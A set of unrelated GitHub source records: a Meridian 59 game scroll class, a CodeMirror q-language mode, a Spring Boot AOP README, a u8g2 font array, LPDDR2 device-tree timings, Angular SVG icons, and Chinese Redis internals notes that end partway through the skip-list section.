{ "pile_set_name": "Github" }
% Meridian 59, Copyright 1994-2012 Andrew Kirmse and Chris Kirmse. % All rights reserved. % % This software is distributed under a license that is described in % the LICENSE file that accompanies it. % % Meridian is a registered trademark. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% EarthquakeScroll is Scroll constants: include blakston.khd resources: EarthquakeScroll_label_name_rsc = "scroll of earthquake" EarthquakeScroll_icon_rsc = scr07.bgf EarthquakeScroll_desc_rsc = \ "This scroll is covered with indecipherable mystical writing in a spidery hand." classvars: vrLabelName = EarthquakeScroll_label_name_rsc vrIcon = EarthquakeScroll_icon_rsc viSpellEffect = SID_EARTHQUAKE viColor = XLAT_TO_ORANGE properties: vrDesc = EarthquakeScroll_desc_rsc pbDisabled = TRUE messages: end %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
{ "pile_set_name": "Github" }
// CodeMirror, copyright (c) by Marijn Haverbeke and others // Distributed under an MIT license: http://codemirror.net/LICENSE (function(mod) { if (typeof exports == "object" && typeof module == "object") // CommonJS mod(require("../../lib/codemirror")); else if (typeof define == "function" && define.amd) // AMD define(["../../lib/codemirror"], mod); else // Plain browser env mod(CodeMirror); })(function(CodeMirror) { "use strict"; CodeMirror.defineMode("q",function(config){ var indentUnit=config.indentUnit, curPunc, keywords=buildRE(["abs","acos","aj","aj0","all","and","any","asc","asin","asof","atan","attr","avg","avgs","bin","by","ceiling","cols","cor","cos","count","cov","cross","csv","cut","delete","deltas","desc","dev","differ","distinct","div","do","each","ej","enlist","eval","except","exec","exit","exp","fby","fills","first","fkeys","flip","floor","from","get","getenv","group","gtime","hclose","hcount","hdel","hopen","hsym","iasc","idesc","if","ij","in","insert","inter","inv","key","keys","last","like","list","lj","load","log","lower","lsq","ltime","ltrim","mavg","max","maxs","mcount","md5","mdev","med","meta","min","mins","mmax","mmin","mmu","mod","msum","neg","next","not","null","or","over","parse","peach","pj","plist","prd","prds","prev","prior","rand","rank","ratios","raze","read0","read1","reciprocal","reverse","rload","rotate","rsave","rtrim","save","scan","select","set","setenv","show","signum","sin","sqrt","ss","ssr","string","sublist","sum","sums","sv","system","tables","tan","til","trim","txf","type","uj","ungroup","union","update","upper","upsert","value","var","view","views","vs","wavg","where","where","while","within","wj","wj1","wsum","xasc","xbar","xcol","xcols","xdesc","xexp","xgroup","xkey","xlog","xprev","xrank"]), E=/[|/&^!+:\\\-*%$=~#;@><,?_\'\"\[\(\]\)\s{}]/; function buildRE(w){return new RegExp("^("+w.join("|")+")$");} function tokenBase(stream,state){ var sol=stream.sol(),c=stream.next(); curPunc=null; if(sol) if(c=="/") return(state.tokenize=tokenLineComment)(stream,state); else if(c=="\\"){ if(stream.eol()||/\s/.test(stream.peek())) return stream.skipToEnd(),/^\\\s*$/.test(stream.current())?(state.tokenize=tokenCommentToEOF)(stream):state.tokenize=tokenBase,"comment"; else return state.tokenize=tokenBase,"builtin"; } if(/\s/.test(c)) return stream.peek()=="/"?(stream.skipToEnd(),"comment"):"whitespace"; if(c=='"') return(state.tokenize=tokenString)(stream,state); if(c=='`') return stream.eatWhile(/[A-Za-z\d_:\/.]/),"symbol"; if(("."==c&&/\d/.test(stream.peek()))||/\d/.test(c)){ var t=null; stream.backUp(1); if(stream.match(/^\d{4}\.\d{2}(m|\.\d{2}([DT](\d{2}(:\d{2}(:\d{2}(\.\d{1,9})?)?)?)?)?)/) || stream.match(/^\d+D(\d{2}(:\d{2}(:\d{2}(\.\d{1,9})?)?)?)/) || stream.match(/^\d{2}:\d{2}(:\d{2}(\.\d{1,9})?)?/) || stream.match(/^\d+[ptuv]{1}/)) t="temporal"; else if(stream.match(/^0[NwW]{1}/) || stream.match(/^0x[\da-fA-F]*/) || stream.match(/^[01]+[b]{1}/) || stream.match(/^\d+[chijn]{1}/) || stream.match(/-?\d*(\.\d*)?(e[+\-]?\d+)?(e|f)?/)) t="number"; return(t&&(!(c=stream.peek())||E.test(c)))?t:(stream.next(),"error"); } if(/[A-Za-z]|\./.test(c)) return stream.eatWhile(/[A-Za-z._\d]/),keywords.test(stream.current())?"keyword":"variable"; if(/[|/&^!+:\\\-*%$=~#;@><\.,?_\']/.test(c)) return null; if(/[{}\(\[\]\)]/.test(c)) return null; return"error"; } function tokenLineComment(stream,state){ return stream.skipToEnd(),/\/\s*$/.test(stream.current())?(state.tokenize=tokenBlockComment)(stream,state):(state.tokenize=tokenBase),"comment"; } function tokenBlockComment(stream,state){ var f=stream.sol()&&stream.peek()=="\\"; stream.skipToEnd(); if(f&&/^\\\s*$/.test(stream.current())) state.tokenize=tokenBase; return"comment"; } function tokenCommentToEOF(stream){return stream.skipToEnd(),"comment";} function tokenString(stream,state){ var escaped=false,next,end=false; while((next=stream.next())){ if(next=="\""&&!escaped){end=true;break;} escaped=!escaped&&next=="\\"; } if(end)state.tokenize=tokenBase; return"string"; } function pushContext(state,type,col){state.context={prev:state.context,indent:state.indent,col:col,type:type};} function popContext(state){state.indent=state.context.indent;state.context=state.context.prev;} return{ startState:function(){ return{tokenize:tokenBase, context:null, indent:0, col:0}; }, token:function(stream,state){ if(stream.sol()){ if(state.context&&state.context.align==null) state.context.align=false; state.indent=stream.indentation(); } //if (stream.eatSpace()) return null; var style=state.tokenize(stream,state); if(style!="comment"&&state.context&&state.context.align==null&&state.context.type!="pattern"){ state.context.align=true; } if(curPunc=="(")pushContext(state,")",stream.column()); else if(curPunc=="[")pushContext(state,"]",stream.column()); else if(curPunc=="{")pushContext(state,"}",stream.column()); else if(/[\]\}\)]/.test(curPunc)){ while(state.context&&state.context.type=="pattern")popContext(state); if(state.context&&curPunc==state.context.type)popContext(state); } else if(curPunc=="."&&state.context&&state.context.type=="pattern")popContext(state); else if(/atom|string|variable/.test(style)&&state.context){ if(/[\}\]]/.test(state.context.type)) pushContext(state,"pattern",stream.column()); else if(state.context.type=="pattern"&&!state.context.align){ state.context.align=true; state.context.col=stream.column(); } } return style; }, indent:function(state,textAfter){ var firstChar=textAfter&&textAfter.charAt(0); var context=state.context; if(/[\]\}]/.test(firstChar)) while (context&&context.type=="pattern")context=context.prev; var closing=context&&firstChar==context.type; if(!context) return 0; else if(context.type=="pattern") return context.col; else if(context.align) return context.col+(closing?0:1); else return context.indent+(closing?0:indentUnit); } }; }); CodeMirror.defineMIME("text/x-q","q"); });
{ "pile_set_name": "Github" }
## 010-aop ### 项目说明 Spring-Boot基础之AOP的应用实例工程, 主要包括 - aop实现方法执行日志记录 ### 相关博文 - [190301-SpringBoot基础篇AOP之基本使用姿势小结](http://spring.hhui.top/spring-blog/2019/03/01/190301-SpringBoot%E5%9F%BA%E7%A1%80%E7%AF%87AOP%E4%B9%8B%E5%9F%BA%E6%9C%AC%E4%BD%BF%E7%94%A8%E5%A7%BF%E5%8A%BF%E5%B0%8F%E7%BB%93/) - [190302-SpringBoot基础篇AOP之高级使用技能](http://spring.hhui.top/spring-blog/2019/03/02/190302-SpringBoot%E5%9F%BA%E7%A1%80%E7%AF%87AOP%E4%B9%8B%E9%AB%98%E7%BA%A7%E4%BD%BF%E7%94%A8%E6%8A%80%E8%83%BD/) - [190310-SpringCloud基础篇AOP之拦截优先级详解](http://spring.hhui.top/spring-blog/2019/03/10/190310-SpringCloud%E5%9F%BA%E7%A1%80%E7%AF%87AOP%E4%B9%8B%E6%8B%A6%E6%88%AA%E4%BC%98%E5%85%88%E7%BA%A7%E8%AF%A6%E8%A7%A3/) - [190313-SpringCloud应用篇之AOP实现日志功能](http://spring.hhui.top/spring-blog/2019/03/13/190313-SpringCloud%E5%BA%94%E7%94%A8%E7%AF%87%E4%B9%8BAOP%E5%AE%9E%E7%8E%B0%E6%97%A5%E5%BF%97%E5%8A%9F%E8%83%BD/)
{ "pile_set_name": "Github" }
/* Fontname: -B&H-Lucida-Medium-I-Normal-Sans-26-190-100-100-P-147-ISO10646-1 Copyright: Copyright Bigelow & Holmes 1986, 1985. Glyphs: 18/723 BBX Build Mode: 0 */ const uint8_t u8g2_font_luIS19_tn[454] U8G2_FONT_SECTION("u8g2_font_luIS19_tn") = "\22\0\4\3\5\5\4\5\6\22\30\0\373\23\373\23\374\0\0\0\0\1\251 \6\0`D\1*\26*" "\261fK\60*D\310bDdhLBfD(H\4\0+\23\17*\204QZXZg\7\37\210" "I\353XZ\20\0,\13%\351B\203\213\31M\324\0-\10F,F\341\240\0.\11d(D\343`" "\2\0/\34\361\42k}\134=\200\270z\0q\361q\345\343\312\307\325\3\210\253\7\20\27\37\7\60'" "n.\204\255\360lfhjdlDnbnBpB\320\241\304\334\304\334\304\234\310\330\310\324\320\314" "\324A \35\0\61\24f>\204\343\200fFH\315\32!\65k\204\324\254\21\2\62\30n.\204\255\356" "@J\210&nv\323\275\34\335v\364\200\346\200\6\0\63\33m.\204\351\354 *jtVtrY" "\335)\355\350\226#R\63\7Rf\0\64!n*\204w\224\222\262pBnbldjFjHh" "JfLFL\346\340K\331\265\302B\0\65\32n.\204\351`\350`(X\307\205\7\261\304\263\333\312" "\316H\15\35H\335\1\66%n.\204\317\354@hJftVvE\325\1I\321\10\331\304\334\304\334" "\304\234\310\330\310\230\320\252\203\270\62\0\67\26n\62\204\345\240\344\240\224t\337\216\256\35\35%\235\35\235" "\235\5\70*n.\204\315\356 jhFNFNFlfh\210\202\314\356 j\244fjdnb" "nbnbl\204\210\346`\314\12\0\71'n.\204\255\356@\210fHldlDnbnbn" "b\214d\250\344\200\252bvVvtFj\350@\314\16\0:\13\305-De=V##\0\0\0" "\0\4\377\377\0";
{ "pile_set_name": "Github" }
/* * Timings and Geometry for Samsung K3PE0E000B memory part */ / { samsung_K3PE0E000B: lpddr2 { compatible = "Samsung,K3PE0E000B","jedec,lpddr2-s4"; density = <4096>; io-width = <32>; tRPab-min-tck = <3>; tRCD-min-tck = <3>; tWR-min-tck = <3>; tRASmin-min-tck = <3>; tRRD-min-tck = <2>; tWTR-min-tck = <2>; tXP-min-tck = <2>; tRTP-min-tck = <2>; tCKE-min-tck = <3>; tCKESR-min-tck = <3>; tFAW-min-tck = <8>; timings_samsung_K3PE0E000B_533MHz: lpddr2-timings@0 { compatible = "jedec,lpddr2-timings"; min-freq = <10000000>; max-freq = <533333333>; tRPab = <21000>; tRCD = <18000>; tWR = <15000>; tRAS-min = <42000>; tRRD = <10000>; tWTR = <7500>; tXP = <7500>; tRTP = <7500>; tCKESR = <15000>; tDQSCK-max = <5500>; tFAW = <50000>; tZQCS = <90000>; tZQCL = <360000>; tZQinit = <1000000>; tRAS-max-ns = <70000>; tDQSCK-max-derated = <6000>; }; timings_samsung_K3PE0E000B_266MHz: lpddr2-timings@1 { compatible = "jedec,lpddr2-timings"; min-freq = <10000000>; max-freq = <266666666>; tRPab = <21000>; tRCD = <18000>; tWR = <15000>; tRAS-min = <42000>; tRRD = <10000>; tWTR = <7500>; tXP = <7500>; tRTP = <7500>; tCKESR = <15000>; tDQSCK-max = <5500>; tFAW = <50000>; tZQCS = <90000>; tZQCL = <360000>; tZQinit = <1000000>; tRAS-max-ns = <70000>; tDQSCK-max-derated = <6000>; }; }; };
{ "pile_set_name": "Github" }
<ng-container [ngSwitch]="name"> <svg *ngSwitchCase="'menu'" style="width:24px;height:24px" viewBox="0 0 24 24"> <path fill="#ffffff" d="M3,6H21V8H3V6M3,11H21V13H3V11M3,16H21V18H3V16Z" /> </svg> <svg *ngSwitchCase="'account'" style="width:24px;height:24px" viewBox="0 0 24 24"> <path fill="#ffffff" d="M12,4A4,4 0 0,1 16,8A4,4 0 0,1 12,12A4,4 0 0,1 8,8A4,4 0 0,1 12,4M12,14C16.42,14 20,15.79 20,18V20H4V18C4,15.79 7.58,14 12,14Z" /> </svg> <svg *ngSwitchCase="'cart'" style="width:24px;height:24px" viewBox="0 0 24 24"> <path fill="#ffffff" d="M17,18C15.89,18 15,18.89 15,20A2,2 0 0,0 17,22A2,2 0 0,0 19,20C19,18.89 18.1,18 17,18M1,2V4H3L6.6,11.59L5.24,14.04C5.09,14.32 5,14.65 5,15A2,2 0 0,0 7,17H19V15H7.42A0.25,0.25 0 0,1 7.17,14.75C7.17,14.7 7.18,14.66 7.2,14.63L8.1,13H15.55C16.3,13 16.96,12.58 17.3,11.97L20.88,5.5C20.95,5.34 21,5.17 21,5A1,1 0 0,0 20,4H5.21L4.27,2M7,18C5.89,18 5,18.89 5,20A2,2 0 0,0 7,22A2,2 0 0,0 9,20C9,18.89 8.1,18 7,18Z" /> </svg> <svg *ngSwitchCase="'magnify'" style="width:24px;height:24px" viewBox="0 0 24 24"> <path fill="#303030" d="M9.5,3A6.5,6.5 0 0,1 16,9.5C16,11.11 15.41,12.59 14.44,13.73L14.71,14H15.5L20.5,19L19,20.5L14,15.5V14.71L13.73,14.44C12.59,15.41 11.11,16 9.5,16A6.5,6.5 0 0,1 3,9.5A6.5,6.5 0 0,1 9.5,3M9.5,5C7,5 5,7 5,9.5C5,12 7,14 9.5,14C12,14 14,12 14,9.5C14,7 12,5 9.5,5Z" /> </svg> </ng-container>
{ "pile_set_name": "Github" }
<!-- START doctoc generated TOC please keep comment here to allow auto update --> <!-- DON'T EDIT THIS SECTION, INSTEAD RE-RUN doctoc TO UPDATE --> **Table of Contents** *generated with [DocToc](https://github.com/thlorenz/doctoc)* - [Redis介绍](#redis%E4%BB%8B%E7%BB%8D) - [Redis特点](#redis%E7%89%B9%E7%82%B9) - [Redis和Memcached区别](#redis%E5%92%8Cmemcached%E5%8C%BA%E5%88%AB) - [Redis内部数据结构](#redis%E5%86%85%E9%83%A8%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84) - [字符串](#%E5%AD%97%E7%AC%A6%E4%B8%B2) - [字典](#%E5%AD%97%E5%85%B8) - [压缩列表](#%E5%8E%8B%E7%BC%A9%E5%88%97%E8%A1%A8) - [快速列表](#%E5%BF%AB%E9%80%9F%E5%88%97%E8%A1%A8) - [跳跃列表](#%E8%B7%B3%E8%B7%83%E5%88%97%E8%A1%A8) - [为什么Redis选择使用跳表而不是红黑树来实现有序集合?](#%E4%B8%BA%E4%BB%80%E4%B9%88redis%E9%80%89%E6%8B%A9%E4%BD%BF%E7%94%A8%E8%B7%B3%E8%A1%A8%E8%80%8C%E4%B8%8D%E6%98%AF%E7%BA%A2%E9%BB%91%E6%A0%91%E6%9D%A5%E5%AE%9E%E7%8E%B0%E6%9C%89%E5%BA%8F%E9%9B%86%E5%90%88) - [Redis应用](#redis%E5%BA%94%E7%94%A8) - [分布式锁](#%E5%88%86%E5%B8%83%E5%BC%8F%E9%94%81) - [延时队列](#%E5%BB%B6%E6%97%B6%E9%98%9F%E5%88%97) - [位图](#%E4%BD%8D%E5%9B%BE) - [HyperLogLog](#hyperloglog) - [布隆过滤器](#%E5%B8%83%E9%9A%86%E8%BF%87%E6%BB%A4%E5%99%A8) - [Gossip协议](#gossip%E5%8D%8F%E8%AE%AE) - [Redis单进程单线程方式](#redis%E5%8D%95%E8%BF%9B%E7%A8%8B%E5%8D%95%E7%BA%BF%E7%A8%8B%E6%96%B9%E5%BC%8F) - [单进程单线程好处](#%E5%8D%95%E8%BF%9B%E7%A8%8B%E5%8D%95%E7%BA%BF%E7%A8%8B%E5%A5%BD%E5%A4%84) - [单进程单线程弊端](#%E5%8D%95%E8%BF%9B%E7%A8%8B%E5%8D%95%E7%BA%BF%E7%A8%8B%E5%BC%8A%E7%AB%AF) - [其他一些优秀的开源软件采用的模型](#%E5%85%B6%E4%BB%96%E4%B8%80%E4%BA%9B%E4%BC%98%E7%A7%80%E7%9A%84%E5%BC%80%E6%BA%90%E8%BD%AF%E4%BB%B6%E9%87%87%E7%94%A8%E7%9A%84%E6%A8%A1%E5%9E%8B) - [多路I/O复用模型](#%E5%A4%9A%E8%B7%AFio%E5%A4%8D%E7%94%A8%E6%A8%A1%E5%9E%8B) - [Redis快的主要原因](#redis%E5%BF%AB%E7%9A%84%E4%B8%BB%E8%A6%81%E5%8E%9F%E5%9B%A0) - [Redis主从复制](#redis%E4%B8%BB%E4%BB%8E%E5%A4%8D%E5%88%B6) - [Redis持久化](#redis%E6%8C%81%E4%B9%85%E5%8C%96) - [Redis RDB和AOF的优缺点对比以及如何选择](#redis-rdb%E5%92%8Caof%E7%9A%84%E4%BC%98%E7%BC%BA%E7%82%B9%E5%AF%B9%E6%AF%94%E4%BB%A5%E5%8F%8A%E5%A6%82%E4%BD%95%E9%80%89%E6%8B%A9) - [RDB和AOF到底该如何选择?](#rdb%E5%92%8Caof%E5%88%B0%E5%BA%95%E8%AF%A5%E5%A6%82%E4%BD%95%E9%80%89%E6%8B%A9) - [为什么恢复的时候RDB比AOF快?](#%E4%B8%BA%E4%BB%80%E4%B9%88%E6%81%A2%E5%A4%8D%E7%9A%84%E6%97%B6%E5%80%99rdb%E6%AF%94aof%E5%BF%AB) - [Redis常见的性能问题都有哪些?如何解决?](#redis%E5%B8%B8%E8%A7%81%E7%9A%84%E6%80%A7%E8%83%BD%E9%97%AE%E9%A2%98%E9%83%BD%E6%9C%89%E5%93%AA%E4%BA%9B%E5%A6%82%E4%BD%95%E8%A7%A3%E5%86%B3) - [Redis六种淘汰key策略(默认时no-eviction)](#redis%E5%85%AD%E7%A7%8D%E6%B7%98%E6%B1%B0key%E7%AD%96%E7%95%A5%E9%BB%98%E8%AE%A4%E6%97%B6no-eviction) - [Redis三种删除过期键策略](#redis%E4%B8%89%E7%A7%8D%E5%88%A0%E9%99%A4%E8%BF%87%E6%9C%9F%E9%94%AE%E7%AD%96%E7%95%A5) - [定时删除(并没有用到)](#%E5%AE%9A%E6%97%B6%E5%88%A0%E9%99%A4%E5%B9%B6%E6%B2%A1%E6%9C%89%E7%94%A8%E5%88%B0) - [惰性删除](#%E6%83%B0%E6%80%A7%E5%88%A0%E9%99%A4) - [定期删除](#%E5%AE%9A%E6%9C%9F%E5%88%A0%E9%99%A4) - [Redis的内存优化](#redis%E7%9A%84%E5%86%85%E5%AD%98%E4%BC%98%E5%8C%96) - [Redis4.0新特性](#redis40%E6%96%B0%E7%89%B9%E6%80%A7) - [一、主从数据同步机制](#%E4%B8%80%E4%B8%BB%E4%BB%8E%E6%95%B0%E6%8D%AE%E5%90%8C%E6%AD%A5%E6%9C%BA%E5%88%B6) - [二、命令优化](#%E4%BA%8C%E5%91%BD%E4%BB%A4%E4%BC%98%E5%8C%96) - [三、慢日志记录客户端来源IP地址](#%E4%B8%89%E6%85%A2%E6%97%A5%E5%BF%97%E8%AE%B0%E5%BD%95%E5%AE%A2%E6%88%B7%E7%AB%AF%E6%9D%A5%E6%BA%90ip%E5%9C%B0%E5%9D%80) - [四、混合RDB + AOF格式](#%E5%9B%9B%E6%B7%B7%E5%90%88rdb--aof%E6%A0%BC%E5%BC%8F) - [五、内存使用和性能改进](#%E4%BA%94%E5%86%85%E5%AD%98%E4%BD%BF%E7%94%A8%E5%92%8C%E6%80%A7%E8%83%BD%E6%94%B9%E8%BF%9B) - [缓存解决方案分析](#%E7%BC%93%E5%AD%98%E8%A7%A3%E5%86%B3%E6%96%B9%E6%A1%88%E5%88%86%E6%9E%90) - [缓存雪崩](#%E7%BC%93%E5%AD%98%E9%9B%AA%E5%B4%A9) - [缓存穿透](#%E7%BC%93%E5%AD%98%E7%A9%BF%E9%80%8F) - [缓存击穿](#%E7%BC%93%E5%AD%98%E5%87%BB%E7%A9%BF) - [缓存预热](#%E7%BC%93%E5%AD%98%E9%A2%84%E7%83%AD) - [缓存更新](#%E7%BC%93%E5%AD%98%E6%9B%B4%E6%96%B0) - [Redis Sentinel 与 Redis Cluster区别和各自适用场景](#redis-sentinel-%E4%B8%8E-redis-cluster%E5%8C%BA%E5%88%AB%E5%92%8C%E5%90%84%E8%87%AA%E9%80%82%E7%94%A8%E5%9C%BA%E6%99%AF) - [Redis Sentinel](#redis-sentinel) - [Redis Cluster](#redis-cluster) - [为什么lua脚本结合Redis命令可以实现原子性?](#%E4%B8%BA%E4%BB%80%E4%B9%88lua%E8%84%9A%E6%9C%AC%E7%BB%93%E5%90%88redis%E5%91%BD%E4%BB%A4%E5%8F%AF%E4%BB%A5%E5%AE%9E%E7%8E%B0%E5%8E%9F%E5%AD%90%E6%80%A7) - [Redis分布式锁会导致什么问题?](#redis%E5%88%86%E5%B8%83%E5%BC%8F%E9%94%81%E4%BC%9A%E5%AF%BC%E8%87%B4%E4%BB%80%E4%B9%88%E9%97%AE%E9%A2%98) - [Redis有1000万个key,找出前缀为aaa的key的命令是什么?](#redis%E6%9C%891000%E4%B8%87%E4%B8%AAkey%E6%89%BE%E5%87%BA%E5%89%8D%E7%BC%80%E4%B8%BAaaa%E7%9A%84key%E7%9A%84%E5%91%BD%E4%BB%A4%E6%98%AF%E4%BB%80%E4%B9%88) - [热key问题](#%E7%83%ADkey%E9%97%AE%E9%A2%98) - [怎么发现热key](#%E6%80%8E%E4%B9%88%E5%8F%91%E7%8E%B0%E7%83%ADkey) - [方法一:凭借业务经验,进行预估哪些是热key](#%E6%96%B9%E6%B3%95%E4%B8%80%E5%87%AD%E5%80%9F%E4%B8%9A%E5%8A%A1%E7%BB%8F%E9%AA%8C%E8%BF%9B%E8%A1%8C%E9%A2%84%E4%BC%B0%E5%93%AA%E4%BA%9B%E6%98%AF%E7%83%ADkey) - [方法二:在客户端进行收集](#%E6%96%B9%E6%B3%95%E4%BA%8C%E5%9C%A8%E5%AE%A2%E6%88%B7%E7%AB%AF%E8%BF%9B%E8%A1%8C%E6%94%B6%E9%9B%86) - [方法三:在Proxy层做收集](#%E6%96%B9%E6%B3%95%E4%B8%89%E5%9C%A8proxy%E5%B1%82%E5%81%9A%E6%94%B6%E9%9B%86) - [方法四:用redis自带命令](#%E6%96%B9%E6%B3%95%E5%9B%9B%E7%94%A8redis%E8%87%AA%E5%B8%A6%E5%91%BD%E4%BB%A4) - [方法五:自己抓包评估](#%E6%96%B9%E6%B3%95%E4%BA%94%E8%87%AA%E5%B7%B1%E6%8A%93%E5%8C%85%E8%AF%84%E4%BC%B0) - [怎么设置redis失效时间、怎么设置永久有效?](#%E6%80%8E%E4%B9%88%E8%AE%BE%E7%BD%AEredis%E5%A4%B1%E6%95%88%E6%97%B6%E9%97%B4%E6%80%8E%E4%B9%88%E8%AE%BE%E7%BD%AE%E6%B0%B8%E4%B9%85%E6%9C%89%E6%95%88) - [Redis事务和MySQL事务有什么区别?](#redis%E4%BA%8B%E5%8A%A1%E5%92%8Cmysql%E4%BA%8B%E5%8A%A1%E6%9C%89%E4%BB%80%E4%B9%88%E5%8C%BA%E5%88%AB) <!-- END doctoc generated TOC please keep comment here to allow auto update --> # Redis介绍 Redis 是完全开源免费的,遵守BSD协议,是一个高性能的key-value数据库。 Redis 与其他 key - value 缓存产品有以下三个特点: - Redis支持数据的持久化,可以将内存中的数据保存在磁盘中,重启的时候可以再次加载进行使用。 - Redis不仅仅支持简单的key-value类型的数据,同时还提供list,set,zset,hash等数据结构的存储。 - Redis支持数据的备份,即master-slave模式的数据备份。 ## Redis特点 1. 速度快,因为数据存在内存中,类似于HashMap,HashMap的优势就是查找和操作的时间复杂度都是O(1) 2. 支持丰富数据类型,支持string,list,set,sorted set,hash 3. 支持事务,操作都是原子性,所谓的原子性就是对数据的更改要么全部执行,要么全部不执行 4. 丰富的特性:可用于缓存,消息,按key设置过期时间,过期后将会自动删除 ## Redis和Memcached区别 1. memcached所有的值均是简单的字符串,redis作为其替代者,支持更为丰富的数据类型 2. redis的速度比memcached快很多 3. redis可以持久化其数据 4. Redis支持数据的备份,即master-slave模式的数据备份。 5. 使用底层模型不同,它们之间底层实现方式 以及与客户端之间通信的应用协议不一样。Redis直接自己构建了VM 机制 ,因为一般的系统调用系统函数的话,会浪费一定的时间去移动和请求。 6. value大小:redis最大可以达到1GB,而memcache只有1MB # Redis内部数据结构 ## 字符串 Redis的字符串叫做[SDS],即Simple Dynamic String。它的结构是一个带长度信息的字节数组 ```c++ struct SDS<T> { T capacity; // 数组容量 T len; // 数组长度 byte flags; // 特殊标识位,不理睬它 byte[] content; // 数组内容 } ``` 1. content存储真正的字符串内容,capacity表示所分配数组的长度,len表示字符串的实际长度 2. SDS使泛型用T,是因为当字符串比较短时,len和capacity可以使用byte和short来表示 3. Redis的字符串有两种存储方式,当长度特别短使用`EMB`形式存储,当长度超过44时,使用`raw`形式存储 4. 字符串在长度小于 1M 之前,扩容空间采用加倍策略,也就是保留 100% 的冗余空间。当长度超过 1M 之后,为了避免加倍后的冗余空间过大而导致浪费,每次扩容只会多分配 1M 大小的冗余空间。 ## 字典 字典,是一种用于保存键值对的抽象数据结构,Redis中的hash结构、zset中value和score值的映射关系、Redis所有的key和value、带过期时间的key都是使用字典(dict)这个数据结构。 ![](https://github.com/zaiyunduan123/Java-Interview/blob/master/image/redis-1.png) 字典使用哈希表来作为底层实现,每个字典带有两个哈希表,一个平时使用,另外一个仅在进行渐进式搬迁时使用,这时候两个 hashtable 存储的分别是旧的 hashtable 和新的 hashtable。待搬迁结束后,旧的 hashtable 被删除,新的 hashtable 取而代之。 扩容: 1. 如果服务器没有正在执行bgsave令,并且哈希表中的元素个数大于等于一维数据的长度,自动开始对dict进行扩容扩容至2倍 2. 如果服务器正在执行bgsave命令,并且哈希表中的元素个数大于等于一维数据的长度的5倍,才进行强制扩容 缩容: 1. 当元素个数低于数组长度的 10%,Redis 会对 hash 表进行缩容来减少 hash 表的第一维数组空间占用。缩容不会考虑 Redis 是否正在做 bgsave。 SAVE和BGSAVE的区别: 1. SAVE 保存是阻塞主进程,客户端无法连接redis,等SAVE完成后,主进程才开始工作,客户端可以连接 2. BGSAVE 是fork一个save的子进程,在执行save过程中,不影响主进程,客户端可以正常链接redis,等子进程fork执行save完成后,通知主进程,子进程关闭。很明显BGSAVE方式比较适合线上的维护操作,两种方式的使用一定要了解清楚在谨慎选择。 ## 压缩列表 zset 和 hash 容器对象在元素个数较少的时候,采用压缩列表 (ziplist) 进行存储。压缩列表是一块连续的内存空间,元素之间紧挨着存储,没有任何冗余空隙。 ![](https://github.com/zaiyunduan123/Java-Interview/blob/master/image/redis-2.png) - zlbytes:4字节,记录整个压缩列表占用内存的字节数 - zltail:4字节,记录压缩列表尾部节点距离起始地址的偏移量 - zllen:2字节,记录压缩列表包含的节点数量 - entry:不定,列表中的每个节点 - zlend:1字节,特殊值0xFF,标记压缩列表的结束 增加元素: 1. 因为 ziplist 都是紧凑存储,没有冗余空间 。意味着插入一个新的元素就需要调用 realloc 扩展内存。取决于内存分配器算法和当前的 ziplist 内存大小,realloc 可能会重新分配新的内存空间,并将之前的内容一次性拷贝到新的地址,也可能在原有的地址上进行扩展,这时就不需要进行旧内容的内存拷贝。 2. 如果 ziplist 占据内存太大,重新分配内存和拷贝内存就会有很大的消耗。所以 ziplist 不适合存储大型字符串,存储的元素也不宜过多。 级联更新: 1. 当前某个 entry 之前的节点 从小于254字节,变成大于等于254字节, 那么当前entry 的 previous_entry_length 从1字节变成5字节。如果因为从1字节变成5字节,使自己跨越了从小于254字节,到过了254字节这条线,就又会引起下一个节点的扩容。 2. 最坏的情况是:所有entry都是刚好处于250-253字节之间,然后在链表头插入一个大于等于254字节的entry,此时会触发全链级联更新。 3. 删除中间的某个节点也可能会导致级联更新 ## 快速列表 考虑到链表的附加空间相对太高,prev 和 next 指针就要占去 16 个字节 (64bit 系统的指针是 8 个字节),另外每个节点的内存都是单独分配,会加剧内存的碎片化,影响内存管理效率。后续版本对列表数据结构进行了改造,使用 quicklist 代替了 ziplist 和 linkedlist。 ```c++ typedef struct quicklist { quicklistNode *head; // 指向quicklist的头部 quicklistNode *tail; // 指向quicklist的尾部 unsigned long count; // 列表中所有数据项的个数总和 unsigned int len; // quicklist节点的个数,即ziplist的个数 int fill : 16; // ziplist大小限定,由list-max-ziplist-size给定 unsigned int compress : 16; // 节点压缩深度设置,由list-compress-depth给定 } quicklist; ``` quicklist 是 ziplist 和 linkedlist 的混合体,它将 linkedlist 按段切分,每一段使用 ziplist 来紧凑存储,多个 ziplist 之间使用双向指针串接起来。 ![](https://github.com/zaiyunduan123/Java-Interview/blob/master/image/redis-3.png) 1. quicklist 内部默认单个 ziplist 长度为 8k 字节,超出了这个字节数,就会新起一个 ziplist。ziplist 的长度由配置参数list-max-ziplist-size决定。 2. quicklist 默认的压缩深度是 0,也就是不压缩。压缩的实际深度由配置参数list-compress-depth决定。为了支持快速的 push/pop 操作,quicklist 的首尾两个 ziplist 不压缩,此时深度就是 1。如果深度为 2,就表示 quicklist 的首尾第一个 ziplist 以及首尾第二个 ziplist 都不压缩。 ## 跳跃列表 Redis 的 zset 是一个复合结构,一方面它需要一个 hash 结构来存储 value 和 score 的对应关系,另一方面需要提供按照 score 来排序的功能,还需要能够指定 score 的范围来获取 value 列表的功能,这就需要另外一个结构「跳跃列表」。 ![](https://github.com/zaiyunduan123/Java-Interview/blob/master/image/redis-4.png) 图中只画了四层,Redis 的跳跃表共有 64 层,意味着最多可以容纳 2^64 次方个元素。每一个 kv 块对应的结构如下面的代码中的zslnode结构,kv header 也是这个结构,只不过 value 字段是 null 值——无效的,score 是 Double.MIN_VALUE,用来垫底的。kv 之间使用指针串起来形成了双向链表结构,它们是 有序 排列的,从小到大。不同的 kv 层高可能不一样,层数越高的 kv 越少。同一层的 kv 会使用指针串起来。每一个层元素的遍历都是从 kv header 出发。 ### 为什么Redis选择使用跳表而不是红黑树来实现有序集合? Redis 中的有序集合(zset) 支持的操作: 1. 插入一个元素 2. 删除一个元素 3. 查找一个元素 4. 有序输出所有元素 5. 按照范围区间查找元素(比如查找值在 [100, 356] 之间的数据) 